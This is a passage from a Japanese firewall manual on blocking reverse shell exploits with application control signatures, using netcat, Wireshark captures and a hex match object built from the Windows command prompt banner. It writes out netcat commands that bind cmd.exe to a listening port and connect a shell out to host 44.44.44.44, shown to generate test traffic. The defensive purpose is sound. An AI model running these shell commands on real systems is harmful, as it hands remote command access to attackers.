次に、この一致オブジェクトをアプリケーション ルール ポリシー内で使用します。「アプリケーション制御ポリシーの設定」ウィンドウで、わかりやすいポリシー名を入力し、ポリシー種別として「HTTP クライアント」を選択します。「一致オブジェクト」ドロップダウン リストで、定義した一致オブジェクトを選択します。個別動作または「リセット/破棄」などの既定動作を選択します。「接続側」で、「クライアント側」を選択します。他の設定についても変更できます。ポリシーの作成の詳細については、アプリケーション ルール ポリシーの設定 を参照してください。

リバース シェル悪用の防御

アプリケーション制御の個別のシグネチャ機能 (個別のシグネチャ を参照) を使用すると、リバース シェル悪用攻撃を防ぐことができます。リバース シェル悪用は、攻撃者がゼロデイ (Zero-day) 悪用によってシステムへの侵入に成功した場合に使用される可能性があります。ゼロデイ悪用とは、そのシグネチャがまだセキュリティ ソフトウェアで認識されない攻撃のことです。

まだ知られていない初期の段階では、悪意のあるペイロードは防御の最前線、つまりインターネット ゲートウェイで実行されている IPS やゲートウェイ アンチウイルス (GAV) を通過できます。さらに、ホストベースのアンチウイルス ソフトウェアなど、その次の防御線まで通過して、攻撃対象のシステムで任意のコードを実行できます。

多くの場合、実行されるコードには、攻撃者がリモートから (悪用するサービスやログオン ユーザの権限を使用して) コマンド プロンプト ウィンドウを開き、そこから侵入に着手するために必要な最小限の命令が含まれています。

NAT/ファイアウォールがあると、悪用するシステムに能動的に接続できないことがあるので、それらを迂回する一般的な手段として、攻撃者は脆弱なシステムにリバース シェルを実行させます。リバース シェルでは、攻撃対象のホストから攻撃者のアドレスに対して接続が開始されます。 しかも、厳格な送信ポリシーをうまく回避するために、既知の TCP/UDP ポートが使用されます。

この使用事例は、ウィンドウズ システムをホストしている環境で、すべての TCP/UDP ポートを介した暗号化されていない接続をインターセプトする場合に適用できます。

補足 暗号化されていない Telnet サービスを使用しているネットワークでは、それらのサーバの IP アドレスを除外するポリシーを設定する必要があります。

この使用事例では、リバース シェル ペイロードの特定の事例 (送信接続) を扱っていますが、受信接続に対しても有効になるようにポリシーを設定すると安全性が向上します。これにより、実行されたペイロードが脆弱なホストにリスニング シェルを生成し、攻撃者が誤って設定されたファイアウォール経由でそのサービスに接続するような事例を防ぐことができます。

実際の設定では、次の作業を行う必要があります。

• netcat ツールを使用して、特徴を検出する実際のネットワーク活動を生成する

• Wireshark ツールを使用して活動をキャプチャし、ペイロードをテキスト ファイルにエクスポートする

• 誤検出を防げるだけの適度に具体的で一意な文字列を使用して、一致オブジェクトを作成する

• そのオブジェクトを含むペイロードが解析されたときに実行する動作を指定したポリシーを定義する (ここでは、既定のリセット/破棄を使用)

ネットワーク活動の生成

netcat ツールが備える多くの機能の 1 つに、プログラムの出力を送信接続またはリスニング接続にバインドする機能があります。次の使用例は、リスニング“コマンド プロンプト デーモン"を設定する方法、またはリモート エンドポイントに接続して、対話型のコマンド プロンプトを提供する方法を示しています。

nc -l -p 23 -e cmd.exe

ポート 23 に接続するホストから Windodws4 プロンプトを利用できるようになります (-l オプションは、既定の暗黙的な接続モードとは逆のリスン モードを表しています)。

nc -e cmd.exe 44.44.44.44 23

ホスト 44.44.44.44 が次の netcat コマンドを使用してポート 23 でリスンしている場合に、ホスト44.44.44.44 からウィンドウ プロンプトを利用できるようになります。

nc -l -p 23

Wireshark を使用したペイロードのキャプチャおよびテキスト ファイルへのエクスポート

データをキャプチャするには、Wireshark を起動し、「Capture > Interfaces」を選択してキャプチャ ダイアログを開きます。netcat トラフィックを処理するインターフェースでキャプチャを開始します。キャプチャを開始したらすぐに netcat コマンドを実行し、キャプチャを終了します。

次の図は、そのような接続時のネットワーク上のデータ フローを示しています (Vista Enterprise、2007 年 6 月)。

RevShell_VistaPacket.jpg

 

16 進データをテキスト ファイルにエクスポートし、パケット ヘッダー、不必要な部分や変化する部分およびスペースを取り除きます。ここで関係があるのは "Microsoft… reserved." の部分です。これには Wireshark の 16 進ペイロード エクスポート機能を使用します。Wireshark については、Wiresharkを参照してください。

一致オブジェクトの作成

Vista のコマンド プロンプト バナーを表す一致オブジェクトのオブジェクト内容として、次の 16 進文字を入力します。

4D6963726F736F66742057696E646F7773205B56657273696F6E20362E302E363030305D0D0A436F70797269676874202863292032303036204D6963726F73667420436F72706F726174696F6E2E

ここでは、特徴のエクスポートと一致オブジェクトの定義に、実際には 16 進表記を使用する必要はありません (この例の実際のシグネチャは ASCII テキストです)。16 進数はバイナリのシグネチャの場合にのみ必要です。

同じ方法でウィンドウズ 2000 およびウィンドウズ XP のホストからも類似のエントリを取得し、それらを使用して別の一致オブジェクトを作成します。 次に示すような 3 つの一致オブジェクトが作成されます。

RevShell_AppObjects.jpg

 

ウィンドウズ サーバ 2003 やその他のバージョンのウィンドウズの例も、ここで説明した方法で簡単に取得できます。

Linux/Unix の管理者は、このシグネチャ ベースの防御を利用するために、既定の環境変数をカスタマイズする必要があります。 通常、既定のプロンプトは、前述のように使用できるほど具体的でも一意でもありません。

ポリシーの定義

一致オブジェクトを作成したら、そのオブジェクトを使用するポリシーを定義します。次の図は、他のポリシーの設定を示しています。この例の「ポリシー名」と「方向」の設定は、リバース シェル専用になっています。前述のように、「方向」の設定を「両方」に変更し、より汎用的な名前を付けることで、適用範囲を広げることもできます。

RevShell_Policy.jpg

 

接続のリセット/破棄後に、ネットワーク アクセスの種別を示すログ エントリが生成されます。次のログ エントリのスクリーンショットには、アプリケーション制御の警告であることを示すメッセージのほか、ポリシー名が表示されています。

RevShell_LogEntry.jpg

 

経験則として、適切なセキュリティ対策には多層のインテリジェンスが組み込まれており、ある 1 つの方法だけを悪意のあるコードに対する決定的な防御と見なすことはできません。

用語集

アプリケーション層:7 層 OSI モデルの 7 番目のレベル。AIM、DNS、FTP、HTTP、IMAP、MSN Messenger、POP3、SMTP、SNMP、Telnet、および Yahoo Messenger はアプリケーション層プロトコルの例です。

帯域幅管理:ネットワークの渋滞およびネットワークのパフォーマンス劣化を回避するために、ネットワーク リンク上のトラフィックを計測して制御する処理です。

クライアント:通常、クライアント/サーバ手法におけるクライアントは、パーソナル コンピュータまたはワークステーション上で実行され、サーバを利用して一部の処理を実行するアプリケーションです。

デジタル権利管理:デジタル データへのアクセスとその利用を制御するために出版社や著作権保有者によって使用される技術。

FTP:ファイル転送プロトコル。インターネット上でファイルを交換するためのプロトコル。

ゲートウェイ:ネットワークへの入り口として動作するコンピュータ。ファイアウォールやプロキシ サーバとして使用されることもよくあります。

きめ細かい制御:システムの個別のコンポーネントを制御できること。

16 進:基数を 16 とする記数法。

HTTP:Hyper Text Transfer Protocol。World Wide Web によって使用される基底のプロトコル。

HTTP リダイレクト:1 つのウェブ ページを多くの URL で利用できるようにするウェブ上の手法。URL リダイレクトとも呼ばれます。

IPS:侵入防御サービス

MIME:Multipurpose Internet Mail Extensions。グラフィック、オーディオ、ビデオなどの非 ASCII メッセージをインターネット上で転送できるように形式化するための仕様。

POP3:Post Office Protocol。メール サーバから電子メールを取得するために使用されるプロトコル。SMTP と一緒に使用することもできます。

プロキシ:クライアントが他のネットワーク サービスに間接的にネットワーク接続できるようにするネットワーク サービスを実行するコンピュータ。

SMTP:Simple Mail Transfer Protocol。サーバ間で電子メール メッセージを送信するために使用されるプロトコル。

UDP:User Datagram Protocol。IP ネットワーク上で実行されるコネクションレス プロトコル。